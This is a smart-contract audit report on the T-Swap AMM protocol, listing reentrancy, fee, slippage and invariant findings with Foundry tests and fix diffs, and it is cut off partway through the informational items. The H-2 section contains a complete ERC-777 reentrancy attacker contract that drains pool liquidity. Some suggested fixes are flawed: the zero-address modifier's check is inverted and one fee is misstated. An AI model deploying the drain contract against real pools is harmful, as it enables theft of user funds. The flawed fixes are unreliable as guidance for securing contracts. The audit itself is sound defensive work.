



T-Swap Protocol Audit Report

Version 1.0

Audited by:

LAU LOK JING

May 22, 2026

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Incorrect fee calculation in `TSwapPool::getInputAmountBasedOnOutput` results in 10 Times the actual input amount based on output amount
 - * [H-2] Reentrancy in `TSwapPool::_swap` for certain tokens, like ERC-777 can drain the pool liquidity
 - * [H-3] Lack of slippage protection in `TSwapPool::swapExactOutput` is vulnerable to sandwich MEV attacks
 - * [H-4] `TSwapPool::sellPoolTokens` should call to `TSwapPool::swapExactInput` not `TSwapPool::swapExactOutput`
 - * [H-5] In `TSwapPool::_swap` the extra tokens send to users for every `swapCount` breaks the protocol invariant of $x * y = k$
 - Medium
 - * [M-1] Missing deadline check in `TSwapPool::deposit` allows the transaction to complete even after the user's specified deadline
 - Low
 - * [L-1] `TSwapPool::LiquidityAdded` event emits the wrong paramters
 - * [L-2] `TSwapPool::swapExactInput` returns an uninitialized parameter
 - Informational or Non-Critical
 - * [I-1] Magic numbers should be avoided to increase code maintainability
 - * [I-2] Unindexed event `PoolFactory::PoolCreated`
 - * [I-3] Logic error On `PoolFactory::liquidityTokenSymbol` naming Convention

- * [I-4] Missing zero address validation can lead to pool unpredictable behavior
- * [I-5] `PoolFactory::PoolFactory__PoolDoesNotExist` is an unused Error
- * [I-6] `TSwapPool::swapExactInput` function is not used internally
- * [I-7] `TSwapPool::deposit` does not follow CEI
- * [I-8] `TSwapPool::swapExactInput` does not have a NatSpec
- Gas Optimization
 - * [G-1] Unused storage variable `TSwapPool::poolTokenReserves`
 - * [G-2] Constant `TSwapPool::MINIMUM_WETH_LIQUIDITY` should not be emitted in custom error

Protocol Summary

T-Swap is meant to be a permissionless way for users to swap assets between each other at a fair price. You can think of it as a decentralized asset/token exchange (DEX). T-Swap is known as an Automated Market Maker (AMM) because it doesn't use a normal "order book" style exchange, instead it uses "Pools" of an asset. It is similar to Uniswap. To understand Uniswap, please watch this video: [Uniswap Explained](#)

The protocol starts as simply a `PoolFactory` contract. This contract is used to create new "pools" of tokens. It helps make sure every pool token uses the correct logic. But all the magic is in each `TSwapPool` contract.

You can think of each `TSwapPool` contract as it's own exchange between exactly 2 assets. Any ERC20 and the WETH token. These pools allow users to permissionlessly swap between an ERC20 that has a pool and WETH. Once enough pools are created, users can easily "hop" between supported ERC20s.

For example:

1. User A has 10 USDC
2. They want to use it to buy DAI
3. They `swap` their 10 USDC -> WETH in the USDC/WETH pool
4. Then they `swap` their WETH -> DAI in the DAI/WETH pool

Every pool is a pair of `TOKEN X` & `WETH`.

There are 2 functions users can call to swap tokens in the pool.

- `swapExactInput`
- `swapExactOutput`

Disclaimer

I, Lau Lok Jing makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
1 1ec3c30253423eb4199827f59cf564cc575b46db
```

Github Repository: github.com/Cyfrin/5-t-swap-audit

Scope

```
1 ./src/  
2 #-- PoolFactory.sol  
3 #-- TSwapPool.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum

Roles

- Liquidity Providers: Users who have liquidity deposited into the pools. Their shares are represented by the LP ERC20 tokens. They gain a 0.3% fee every time a swap is made.
- Users: Users who want to swap tokens.

Executive Summary

A total of 18 risks are found which composed of 5 highs, 1 mediums, 2 low, 8 informational, and 2 gas optimizations. About 60 hours are spent on the findings using Static Analysis tools from Slither and Aderyn, invariant tests, and manual review using Foundry.

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	2
Info	8
Gas Optimizations	2
Total	18

Findings

High

[H-1] Incorrect fee calculation in `TSwapPool::getInputAmountBasedOnOutput` results in 10 Times the actual input amount based on output amount

Description: `TSwapPool::getInputAmountBasedOnOutput` calculates the user's swap input amount using a value of `10_000` instead of `1000` for a fee of 3% which is 997. This leads to the wrong input amount estimation by a factor of multiplier of 10 of the actual amount.

Impact: User will pay for an incorrectly estimated input amount based on the output, taking a significant more fees than designed from the user.

Recommended Mitigation: Replace the factor with the correct constant,

```
1 TSwapPool.sol:
2
3 +     uint256 public constant SWAP_PERCENTAGE = 1000;
4 +     uint256 public constant FEE_PERCENTAGE = 3;
5     ...
6
7     function getInputAmountBasedOnOutput(
8         ...
9     {
10 -         return ((inputReserves * outputAmount) * 10000) / ((
            outputReserves - outputAmount) * 997);
11 +         return ((inputReserves * outputAmount) * SWAP_PERCENTAGE) /
            ((outputReserves - outputAmount) * (SWAP_PERCENTAGE -
            FEE_PERCENTAGE));
12     }
```

[H-2] Reentrancy in TSwapPool::_swap for certain tokens, like ERC-777 can drain the pool liquidity**Description:**

If token allows making reentrancy on `transferFrom(address from, address to, uint tokens)` function by someone except the recipient, then all the liquidity funds might be stolen. For example, if token calls callback function of `from` address. It's irrelevant if reentrancy is done before or after the balances update.

```
1     function _swap(IERC20 inputToken, uint256 inputAmount, IERC20
      outputToken, uint256 outputAmount) private {
2         if (_isUnknown(inputToken) || _isUnknown(outputToken) ||
          inputToken == outputToken) {
3             revert TSwapPool__InvalidToken();
4         }
5
6         swap_count++;
7         if (swap_count >= SWAP_COUNT_MAX) {
8             swap_count = 0;
9             outputToken.safeTransfer(msg.sender, 1
              _000_000_000_000_000_000);
10        }
11        emit Swap(msg.sender, inputToken, inputAmount, outputToken,
          outputAmount);
12
13    @>    inputToken.safeTransferFrom(msg.sender, address(this),
          inputAmount);
14        outputToken.safeTransfer(msg.sender, outputAmount);
15    }
```

Proof of Concept:

Let's imagine we have a token that calls a callback function of `from` address on `transferFrom(address from, address to, uint tokens)` and allows `from` address to make a reentrancy. We will consider the case when reentrancy is made after the token balances are updated. If token balances are updated after the reentrancy (e.g. ERC-777), the algorithm is even easier and requires fewer funds to steal liquidity pool.

A malicious buyer can make reentrancy on the line:

```
1  `inputToken.safeTransferFrom(msg.sender, address(this), inputAmount)`
```

using `ERC777` token. This is because before the balance is updated in the line, a hook is called to the function `tokensToSend` corresponding to the registered interface implementer in `ERC1820` registry, which in this case is the malicious contract deployed by the malicious buyer. The malicious contract can now re-enter using the `tokensToSend` function before the token balances are updated.

In the proof of code below, the following steps are executed:

1. Assume we have a `TSwap pool` with a token that worth equally to `WETH` with liquidity pool equals (100 `ERC777` tokens, 100 `WETH`)
2. The attacker funded the 100 `ERC777` tokens and 1 ETH for gas in the malicious smart contract.
3. The attacker can now swap 1 `WETH` for 1 `tokens` by using `swapExactInput` function through the deployed malicious contract.
4. The TSwap liquidity pool should now be (101 `ERC777` tokens, 99 `WETH`) but since the attacker makes reentrancy on `inputToken.safeTransferFrom(msg.sender, address(this), inputAmount)` it will still be (100 `ERC777` tokens, 100 `WETH`).
5. While making reentrancy the attacker can repeat the quote of 1 `WETH` for 1 `ERC777` token for as many times as they want until the `WETH` is drained or they run out of `ERC777` tokens.
6. When the pool liquidity is drained to (196 `ERC777` tokens, 0.3 `WETH`). The attacker can now reverse the transaction, getting a quote of ~0.3 `WETH` for 97 `ERC777` tokens. Repeat the process for 3 times.
7. Now the pool liquidity is reduced to (11 `ERC777` tokens, 5 `WETH`) and the attacker ends up with a balance of (188 `ERC777` tokens, 95 `WETH`).

Note:

1. This is not a very accurate algorithm that does not gas cost, but logic stays the same.
2. To run the proof of code, install v4.9.0 from openzeppelin `forge i openzeppelin/openzeppelin-contracts@v4.9.0` since v5.0.0 removed `ERC777` Mocks and implementations.
3. Run `forge test --mt test_canReentrant -vv` to see the result.

Proof Of Code

test/unit/TSwapPool.t.sol:

```
1  import { ERC777Mock } from "../ERC777Mock.sol";
2  import { ERC1820RegistryMock } from "../ERC1820RegistryMock.sol";
3  import { AttackerContract } from "../AttackerContract.sol";
4
5  ...
6
7  function test_canReentrant() public {
8      address erc1820Registry = 0
9          x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
10     ERC1820RegistryMock erc1820RegistryMock = new ERC1820RegistryMock()
11         ;
12     vm.etch(erc1820Registry, address(erc1820RegistryMock).code);
13
14     address[] memory _operators = new address[] (0);
15     ERC777Mock ERC777PoolToken = new ERC777Mock("TokenB", "TB",
16         _operators);
17
18     TSwapPool _pool = new TSwapPool(address(ERC777PoolToken), address(
19         weth), "LTokenB", "LB");
20     AttackerContract attackerContract = new AttackerContract(_pool,
21         address(ERC777PoolToken), address(weth));
22     attackerContract.registerRecipient(address(attackerContract));
23     attackerContract.registerSender(address(attackerContract));
24
25     weth.mint(liquidityProvider, 200e18);
26     ERC777PoolToken.mint(liquidityProvider, 200e18, "", "");
27
28     weth.mint(address(attackerContract), 1e18);
29     ERC777PoolToken.mint(address(attackerContract), 100e18, "", "");
30
31     // Deposit
32     vm.startPrank(liquidityProvider);
33     weth.approve(address(_pool), 100e18);
34     ERC777PoolToken.approve(address(_pool), 100e18);
35     _pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
36     vm.stopPrank();
37
38     attackerContract.startAttack(1e18);
39     assert(weth.balanceOf(address(attackerContract)) >= 9e18);
40 }
```

test/AttackerContract.sol:

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.20;
3
4 import { console } from "forge-std/Test.sol";
5 import { TSwapPool } from "../src/PoolFactory.sol";
6 import { ERC777Mock } from "../ERC777Mock.sol";
7 import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol"
8 ;
9 import { IERC777 } from "@openzeppelin/contracts/interfaces/IERC777.sol"
10 ;
11 import { Context } from "@openzeppelin/contracts/utils/Context.sol";
12 import { IERC777Sender } from "@openzeppelin/contracts/interfaces/
13 IERC777Sender.sol";
14 import { IERC777Recipient } from "@openzeppelin/contracts/interfaces/
15 IERC777Recipient.sol";
16 import { IERC1820Registry } from "@openzeppelin/contracts/interfaces/
17 IERC1820Registry.sol";
18 import { ERC1820Implementer } from "@openzeppelin/contracts/utils/
19 introspection/ERC1820Implementer.sol";
20
21 contract AttackerContract is Context, IERC777Sender, IERC777Recipient,
22 ERC1820Implementer {
23     TSwapPool pool;
24     ERC20Mock weth;
25     ERC777Mock poolToken;
26     uint256 reentrancyCount;
27
28     bytes32 internal constant ERC1820_ACCEPT_MAGIC = keccak256(abi.
29 encodePacked("ERC1820_ACCEPT_MAGIC"));
30
31     event TokensToSendCalled(
32         address operator,
33         address from,
34         address to,
35         uint256 amount,
36         bytes data,
37         bytes operatorData,
38         address token,
39         uint256 fromBalance,
40         uint256 toBalance
41     );
42
43     event TokensReceivedCalled(
44         address operator,
45         address from,
46         address to,
47         uint256 amount,
48         bytes data,
49         bytes operatorData,
```

```
42     address token,
43     uint256 fromBalance,
44     uint256 toBalance
45 );
46
47 // Emitted in ERC777Mock. Here for easier decoding
48 event BeforeTokenTransfer();
49
50 bool private _shouldRevertSend;
51 bool private _shouldRevertReceive;
52
53 IERC1820Registry private _erc1820 = IERC1820Registry(0
54     x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
55 uint256 slippage = 5;
56 uint256 slippagePer = 1000;
57 bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256(
58     "ERC777TokensSender");
59 bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
60     keccak256("ERC777TokensRecipient");
61
62 constructor(TSwapPool _pool, address _poolToken, address _weth) {
63     pool = _pool;
64     poolToken = ERC777Mock(_poolToken);
65     weth = ERC20Mock(_weth);
66 }
67
68 function tokensToSend(
69     address operator,
70     address from,
71     address to,
72     uint256 amount,
73     bytes calldata userData,
74     bytes calldata operatorData
75 )
76     external
77     override
78 {
79     if (_shouldRevertSend) {
80         revert();
81     }
82
83     if (reentrancyCount < 95) {
84         reentrancyCount++;
85
86         uint256 _amount = 1e18;
87         uint256 inputReserves = poolToken.balanceOf(address(pool));
88         uint256 outputReserves = weth.balanceOf(address(pool));
89
90         uint256 slippage = 995;
91         uint256 slippagePer = 1000;
92         uint256 expected = pool.getOutputAmountBasedOnInput(_amount
```

```

    , inputReserves, outputReserves)
90    * (slippagePer - slippage) / slippagePer;
91
92    pool.swapExactInput(poolToken, _amount, weth, 0, uint64(
        block.timestamp));
93    }
94
95    IERC777 token = IERC777(_msgSender());
96
97    uint256 fromBalance = token.balanceOf(from);
98    // when called due to burn, to will be the zero address, which
    // will have a balance of 0
99    uint256 toBalance = token.balanceOf(to);
100
101    emit TokensToSendCalled(
102        operator, from, to, amount, userData, operatorData, address
        (token), fromBalance, toBalance
103    );
104    }
105
106    function tokensReceived(
107        address operator,
108        address from,
109        address to,
110        uint256 amount,
111        bytes calldata userData,
112        bytes calldata operatorData
113    )
114    external
115    override
116    {
117        if (_shouldRevertReceive) {
118            revert();
119        }
120
121        IERC777 token = IERC777(_msgSender());
122
123        uint256 fromBalance = token.balanceOf(from);
124        // when called due to burn, to will be the zero address, which
    // will have a balance of 0
125        uint256 toBalance = token.balanceOf(to);
126
127        emit TokensReceivedCalled(
128            operator, from, to, amount, userData, operatorData, address
            (token), fromBalance, toBalance
129        );
130    }
131
132    function senderFor(address account) public {
133        _registerInterfaceForAddress(_TOKENS_SENDER_INTERFACE_HASH,
            account);

```

```
134
135     address self = address(this);
136     if (account == self) {
137         registerSender(self);
138     }
139 }
140
141 function registerSender(address sender) public {
142     _erc1820.setInterfaceImplementer(address(this),
143         _TOKENS_SENDER_INTERFACE_HASH, sender);
144 }
145
146 function recipientFor(address account) public {
147     _registerInterfaceForAddress(_TOKENS_RECIPIENT_INTERFACE_HASH,
148         account);
149
150     address self = address(this);
151     if (account == self) {
152         registerRecipient(self);
153     }
154 }
155
156 function registerRecipient(address recipient) public {
157     _erc1820.setInterfaceImplementer(address(this),
158         _TOKENS_RECIPIENT_INTERFACE_HASH, recipient);
159 }
160
161 function setShouldRevertSend(bool shouldRevert) public {
162     _shouldRevertSend = shouldRevert;
163 }
164
165 function setShouldRevertReceive(bool shouldRevert) public {
166     _shouldRevertReceive = shouldRevert;
167 }
168
169 function send(IERC777 token, address to, uint256 amount, bytes
170     memory data) public {
171     // This is 777's send function, not the Solidity send function
172     token.send(to, amount, data); // solhint-disable-line check-
173         send-result
174 }
175
176 function burn(IERC777 token, uint256 amount, bytes memory data)
177     public {
178     token.burn(amount, data);
179 }
180
181 function canImplementInterfaceForAddress(
182     bytes32 interfaceHash,
183     address addr
184 )
```

```
179     public
180     view
181     override
182     returns (bytes32)
183     {
184         return ERC1820_ACCEPT_MAGIC;
185     }
186
187     function startAttack(uint256 _amount) public {
188         uint256 inputReserves = poolToken.balanceOf(address(pool));
189         uint256 outputReserves = weth.balanceOf(address(pool));
190         console.log(
191             "Reentrancy -- [pool] starting balance (erc777, weth):",
192             inputReserves / 1e18, outputReserves / 1e18
193         );
194         console.log(
195             "Reentrancy -- [attacker] starting balance (erc777, weth):"
196             ,
197             poolToken.balanceOf(address(this)) / 1e18,
198             weth.balanceOf(address(this)) / 1e18
199         );
200         poolToken.approve(address(pool), type(uint256).max);
201
202         uint256 expected = pool.getOutputAmountBasedOnInput(_amount,
203             inputReserves, outputReserves)
204             * (slippagePer - slippage) / slippagePer;
205
206         // 9e17;
207         // console.log("expected", expected / 1e18);
208         pool.swapExactInput(poolToken, _amount, weth, expected, uint64(
209             block.timestamp));
210
211         uint256 poolTokenEndingReserve = poolToken.balanceOf(address(
212             pool));
213         uint256 poolWethEndingReserve = weth.balanceOf(address(pool));
214         console.log(
215             "Reentrancy -- [pool] ERC777 -> WETH: ending balance (
216                 erc777, weth):",
217             poolTokenEndingReserve / 1e18,
218             poolWethEndingReserve / 1e18
219         );
220         console.log(
221             "Reentrancy -- [attacker] ERC777 -> WETH: ending balance (
222                 erc777, weth):",
223             poolToken.balanceOf(address(this)) / 1e18,
224             weth.balanceOf(address(this)) / 1e18
225         );
226
227         weth.approve(address(pool), type(uint256).max);
228
229         uint256 counter = 0;
```

```
223     while (counter <= 3) {
224         drain();
225         counter++;
226     }
227     console.log(
228         "Final -- [pool] WETH -> ERC777: ending balance (erc777,
           weth):",
229         poolToken.balanceOf(address(pool)) / 1e18,
230         weth.balanceOf(address(pool)) / 1e18
231     );
232     console.log(
233         "Final -- [attacker] WETH -> ERC777: ending balance (erc777
           , weth):",
234         poolToken.balanceOf(address(this)) / 1e18,
235         weth.balanceOf(address(this)) / 1e18
236     );
237 }
238
239 function drain() private {
240     uint256 poolTokenEndingReserve = poolToken.balanceOf(address(
           pool));
241     uint256 poolWethEndingReserve = weth.balanceOf(address(pool));
242
243     weth.approve(address(pool), type(uint256).max);
244     uint256 minOutput = pool.getOutputAmountBasedOnInput(
           poolWethEndingReserve, poolWethEndingReserve,
           poolTokenEndingReserve
245         ) * (slippagePer - slippage) / slippagePer;
246
247     pool.swapExactInput(weth, poolWethEndingReserve, poolToken,
           minOutput, uint64(block.timestamp));
248
249 }
250 }
```

test/ERC777Mock.sol:

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.20;
3
4 import { ERC777 } from "@openzeppelin/contracts/token/ERC777/ERC777.sol";
5
6 contract ERC777Mock is ERC777 {
7     constructor(
8         string memory name,
9         string memory symbol,
10        address[] memory defaultOperators
11    )
12        ERC777(name, symbol, defaultOperators)
13    { }
14
15    // Expose internal mint for testing
16    function mint(address account, uint256 amount, bytes memory
17        userData, bytes memory operatorData) public {
18        _mint(account, amount, userData, operatorData);
19    }
20
21    // Expose internal burn for testing
22    function burn(address account, uint256 amount, bytes memory
23        userData, bytes memory operatorData) public {
24        _burn(account, amount, userData, operatorData);
25    }
26 }
```


test/ERC1820RegistryMock.sol:

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity 0.8.20;
3
4  import { IERC1820Registry } from "@openzeppelin/contracts/interfaces/
   IERC1820Registry.sol";
5
6  contract ERC1820RegistryMock is IERC1820Registry {
7      mapping(address => mapping(bytes32 => address)) internal
        _interfaces;
8      mapping(address => address) internal _managers;
9
10     function setInterfaceImplementer(address _addr, bytes32
        _interfaceHash, address _implementer) external {
11         _interfaces[_addr][_interfaceHash] = _implementer;
12     }
13
14     function getInterfaceImplementer(address _addr, bytes32
        _interfaceHash) external view returns (address) {
15         return _interfaces[_addr][_interfaceHash];
16     }
17
18     function setManager(address _addr, address _newManager) external {
19         _managers[_addr] = _newManager;
20     }
21
22     function getManager(address _addr) external view returns (address)
        {
23         return _managers[_addr];
24     }
25
26     function interfaceHash(string calldata _interfaceName) external
        pure returns (bytes32) {
27         return keccak256(abi.encodePacked(_interfaceName));
28     }
29
30     function updateERC165Cache(address account, bytes4 interfaceId)
        external { }
31
32     function implementsERC165Interface(address account, bytes4
        interfaceId) external view returns (bool) {
33         return false;
34     }
35
36     function implementsERC165InterfaceNoCache(address account, bytes4
        interfaceId) external view returns (bool) {
37         return false;
38     }
39 }
```

Recommended Mitigation: Consider implement OpenZeppelin nonReentrancy modifier to prevent reentrancy. TSwapPool.sol:

```
1   pragma solidity 0.8.20;
2
3 +   import { ReentrancyGuard } from "@openzeppelin/contracts/utils/
   ReentrancyGuard.sol";
4   import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/
   utils/SafeERC20.sol";
5   import { ERC20, IERC20 } from "@openzeppelin/contracts/token/ERC20/
   ERC20.sol";
6
7   ...
8
9 -   contract TSwapPool is ERC20 {
10 +   contract TSwapPool is ERC20, ReentrancyGuard {
11
12   ...
13
14   function _swap(
15       IERC20 inputToken,
16       uint256 inputAmount,
17       IERC20 outputToken,
18 -       uint256 outputAmount) private {
19 +       uint256 outputAmount) private nonReentrant {
20       ...
```

[H-3] Lack of slippage protection in TSwapPool::swapExactOutput is vulnerable to sandwich MEV attacks

Description: The swap function `TSwapPool::swapExactOutput` does not implement slippage protection which will allow user to receive a worse or undesired output amount. Consequently, a MEV searcher could potentially seize the opportunity to inflate the price/demand of the require input token amount by purchasing a significant amount of the output tokens before the user's transaction, and once the user's transaction has been processed, proceed to sell the tokens in the same transaction block, thereby profitting from the price differences.

Impact: User will pay for a maximum of input token amounts approved, if the approved amount is `type(uint256).max`, the user could potentially suffer from a lost of all the input tokens.

Proof of Concept:

1. User calls `TSwapPool::swapExactOutput` function when the price of `WETH` is `1000 USDC` and approved the spending of `A` amount of `USDC` by `TSwapPool`,
 - `inputToken = USDC`,
 - `outputToken = WETH`,
 - `outputAmount = 1`,
2. User submitted the transaction and while it is sitting in the mempool,
3. The malicious user sees the transaction and submitted another same transaction with a higher gas fee, intentionally pushing the price up to `A USDC`,
4. User's transaction goes through and spent `A USDC` for `1 WETH`,
5. The malicious user immediately sold the purchased `WETH` back in the same transaction block at a price of `A USDC` per `WETH`.

Recommended Mitigation: Add slippage protection measure similar to the function `TSwapPool::swapExactInput` as follow:

```
1 + error TSwapPool__InputTooHigh(uint256 actual, uint256 max);
2 ...
3 function swapExactOutput(
4     IERC20 inputToken,
5     IERC20 outputToken,
6     uint256 outputAmount,
7 +     uint256 maxInputAmount,
8     uint64 deadline
9 )
10 public
11     revertIfZero(outputAmount)
12     revertIfDeadlinePassed(deadline)
13     returns (uint256 inputAmount)
14 {
15     uint256 inputReserves = inputToken.balanceOf(address(this));
16     uint256 outputReserves = outputToken.balanceOf(address(this));
17
18     inputAmount = getInputAmountBasedOnOutput(outputAmount,
19         inputReserves, outputReserves);
20 +     if (inputAmount > maxInputAmount) {
21 +         revert TSwapPool__InputTooHigh(inputAmount, maxInputAmount)
22 +     ;
23     }
24     _swap(inputToken, inputAmount, outputToken, outputAmount);
25 }
```

[H-4] TSwapPool::sellPoolTokens should call to TSwapPool::swapExactInput not TSwapPool::swapExactOutput

Description: The function `TSwapPool::sellPoolTokens` is intended for, and I quote “wrapper function to facilitate users selling pool tokens in exchange of WETH”, and return “wethAmount amount of WETH received by caller”, but `TSwapPool::swapExactOutput` does not return an output amount whereas `TSwapPool::swapExactInput` does.

```
1     function sellPoolTokens(uint256 poolTokenAmount) external returns (
2         uint256 wethAmount) {
3     @>     return swapExactOutput(i_poolToken, i_wethToken,
4         poolTokenAmount, uint64(block.timestamp));
5     }
```

Impact: User will swap the wrong amount of `poolTokenAmount` unintendedly through the protocol.

Recommended Mitigation: Use `TSwapPool::swapExactInput` instead:

```
1     function sellPoolTokens(
2         uint256 poolTokenAmount,
3     +     uint256 minOutputWethAmount,
4     +     uint256 deadline
5     ) external returns (uint256 wethAmount) {
6     -     return swapExactOutput(i_poolToken, i_wethToken,
7         poolTokenAmount, uint64(block.timestamp));
8     +     return swapExactInput(i_poolToken, poolTokenAmount, i_wethToken
9         , minOutputWethAmount , deadline);
10    }
```

[H-5] In TSwapPool::_swap the extra tokens send to users for every swapCount breaks the protocol invariant of $x * y = k$

Description: The protocol follows a strict invariant of $x * y = k$. Where: - x : The balance of the pool token - y : The balance of WETH - k : The constant product of the two balances

This means, that whenever the balances change in the protocol, the ratio between the two amounts should remain constant, hence the k . However, this is broken due to the extra incentive in the TSwapPool::_swap function. Meaning that over time the protocol funds will be drained.

The follow block of code is responsible for the issue.

```
1      swap_count++;
2      if (swap_count >= SWAP_COUNT_MAX) {
3          swap_count = 0;
4          outputToken.safeTransfer(msg.sender, 1
5                                   _000_000_000_000_000_000);
6      }
```

Impact: A user could maliciously drain the protocol of funds by doing a lot of swaps and collecting the extra incentive given out by the protocol.

Most simply put, the protocol's core invariant is broken.

Proof of Concept:

1. A user swaps 10 times, and collects the extra incentive of 1_000_000_000_000_000_000 tokens
2. That user continues to swap untill all the protocol funds are drained

Proof Of Code

Place the following into TSwapPool.t.sol.

```
1
2      function testInvariantBroken() public {
3          vm.startPrank(liquidityProvider);
4          weth.approve(address(pool), 100e18);
5          poolToken.approve(address(pool), 100e18);
6          pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
7          vm.stopPrank();
8
9          uint256 outputWeth = 1e17;
10
11         vm.startPrank(user);
12         poolToken.approve(address(pool), type(uint256).max);
13         poolToken.mint(user, 100e18);
14         pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
```

```
15     pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.  
16         timestamp));  
17     pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.  
18         timestamp));  
19     pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.  
20         timestamp));  
21     pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.  
22         timestamp));  
23  
24     int256 startingY = int256(weth.balanceOf(address(pool)));  
25     int256 expectedDeltaY = int256(-1) * int256(outputWeth);  
26  
27     pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.  
28         timestamp));  
29     vm.stopPrank();  
30  
31     uint256 endingY = weth.balanceOf(address(pool));  
32     int256 actualDeltaY = int256(endingY) - int256(startingY);  
33     assertEq(actualDeltaY, expectedDeltaY);  
34 }
```

Recommended Mitigation: Remove the extra incentive mechanism. If you want to keep this in, we should account for the change in the $x * y = k$ protocol invariant. Or, we should set aside tokens in the same way we do with fees.

```
1 -     swap_count++;  
2 -     // Fee-on-transfer  
3 -     if (swap_count >= SWAP_COUNT_MAX) {  
4 -         swap_count = 0;  
5 -         outputToken.safeTransfer(msg.sender, 1  
6 -             _000_000_000_000_000_000);  
7 -     }
```

Medium

[M-1] Missing deadline check in `TSwapPool::deposit` allows the transaction to complete even after the user's specified deadline

Description: The `TSwapPool::deposit` function takes a `deadline` parameter which according to the docs, is `The deadline for the transaction to be completed by`. However this parameter is unused resulting in the possibility that the transaction executed in uncontrollable or unfavourable conditions such as the deposit rate deemed by `msg.sender`.

Impact: Transaction could be manipulated to executed at an undesired deposit rate even when `msg.sender` had specified a `deadline`.

Proof of Concept: The `deadline` parameter is unused.

Recommended Mitigation: Revert if the deadline has passed by adding the modifier `TSwapPool::revertIfDeadlinePassed` to the function:

```
1
2     function deposit(
3         uint256 wethToDeposit,
4         uint256 minimumLiquidityTokensToMint,
5         uint256 maximumPoolTokensToDeposit,
6         uint64 deadline
7     )
8         external
9 +     revertIfDeadlinePassed(deadline)
10    revertIfZero(wethToDeposit)
11    returns (uint256 liquidityTokensToMint)
12    {
13        ...
```


Low

[L-1] TSwapPool::LiquidityAdded event emits the wrong paramters

Description: The event is declared in the orders of `address indexed liquidityProvider`, `uint256 wethDeposited`, and `uint256 poolTokensDeposited`, however the event emits the second and third paramters in the reverse order.

Recommended Mitigation:

```
1     function _addLiquidityMintAndTransfer(  
2         ...  
3     -     emit LiquidityAdded(msg.sender, poolTokensToDeposit,  
           wethToDeposit);  
4     +     emit LiquidityAdded(msg.sender, wethToDeposit,  
           poolTokensToDeposit);
```

[L-2] TSwapPool::swapExactInput returns an uninitialized parameter

Description: The function returns a `uint256 output` that should be initialized because an uninitialized `uint256` is always 0, or should not return the value if unused to prevent unexpected behaviour.

Recommended Mitigation: Replace the parameter `output` with `outputAmount` or vice versa.

```
1     function swapExactInput(  
2         IERC20 inputToken,  
3         uint256 inputAmount,  
4         IERC20 outputToken,  
5         uint256 minOutputAmount,  
6         uint64 deadline  
7     )  
8     public  
9     revertIfZero(inputAmount)  
10    revertIfDeadlinePassed(deadline)  
11    -    returns (uint256 output)  
12    +    returns (uint256 outputAmount)  
13    {  
14        ...  
15    }
```

Informational or Non-Critical

[I-1] Magic numbers should be avoided to increase code maintainability

Description: Numbers without context are called “magic numbers”. They should be replaced with constants to increase the readability and maintainability of the code.

Recommended Mitigation: Replace all magic numbers with constants:

```
1 TSwapPool.sol:
2
3 +     uint256 public constant SWAP_PERCENTAGE = 1000;
4 +     uint256 public constant FEE_PERCENTAGE = 3;
5     ...
6     function getOutputAmountBasedOnInput(
7         ...
8 -         uint256 inputAmountMinusFee = inputAmount * 997;
9 +         uint256 inputAmountMinusFee = inputAmount * (SWAP_PERCENTAGE
- FEE_PERCENTAGE);
10         uint256 numerator = inputAmountMinusFee * outputReserves;
11 -         uint256 denominator = (inputReserves * 1000) +
inputAmountMinusFee;
12 +         uint256 denominator = (inputReserves * SWAP_PERCENTAGE) +
inputAmountMinusFee;
13
14     ...
15     function getInputAmountBasedOnOutput(
16         ...
17     {
18 -         return ((inputReserves * outputAmount) * 10000) / ((
outputReserves - outputAmount) * 997);
19 +         return ((inputReserves * outputAmount) * SWAP_PERCENTAGE) /
((outputReserves - outputAmount) * (SWAP_PERCENTAGE -
FEE_PERCENTAGE));
20     }
```

[I-2] Unindexed event `PoolFactory::PoolCreated`

Description: Consider adding `indexed` property to the event fields `tokenAddress` and `poolAddress` to make the field more quickly accessible to off-chain tools that parse events.

[I-3] Logic error On PoolFactory::liquidityTokenSymbol naming Convention

Description: The variable should be named using token's symbol instead of its name.

Recommended Mitigation: use the token's symbol public function `symbol()` instead:

```
1 - string memory liquidityTokenSymbol = string.concat("ts", IERC20(  
    tokenAddress).name());  
2 + string memory liquidityTokenSymbol = string.concat("ts", IERC20(  
    tokenAddress).symbol());
```

[I-4] Missing zero address validation can lead to pool unpredictable behavior

Description: Lack of zero address validation for `PoolFactory::constructor` and the protocol designed to interact with `WETH` will not function when it is initialized to a zero address.

Recommended Mitigation: Add a zero address check.

```
1 modifier notZeroAddress(address _address) {  
2     require(_address == address(0), "PoolFactory: Zero address is not  
    allowed");  
3     _;  
4 }  
5 ...  
6  
7 - constructor(address wethToken) {  
8 + constructor(address wethToken) notZeroAddress {
```

[I-5] PoolFactory::PoolFactory__PoolDoesNotExist is an unused Error

Consider removing unused error to save gas.

```
1 - error PoolFactory__PoolDoesNotExist(address tokenAddress);
```

[I-6] TSwapPool::swapExactInput function is not used internally

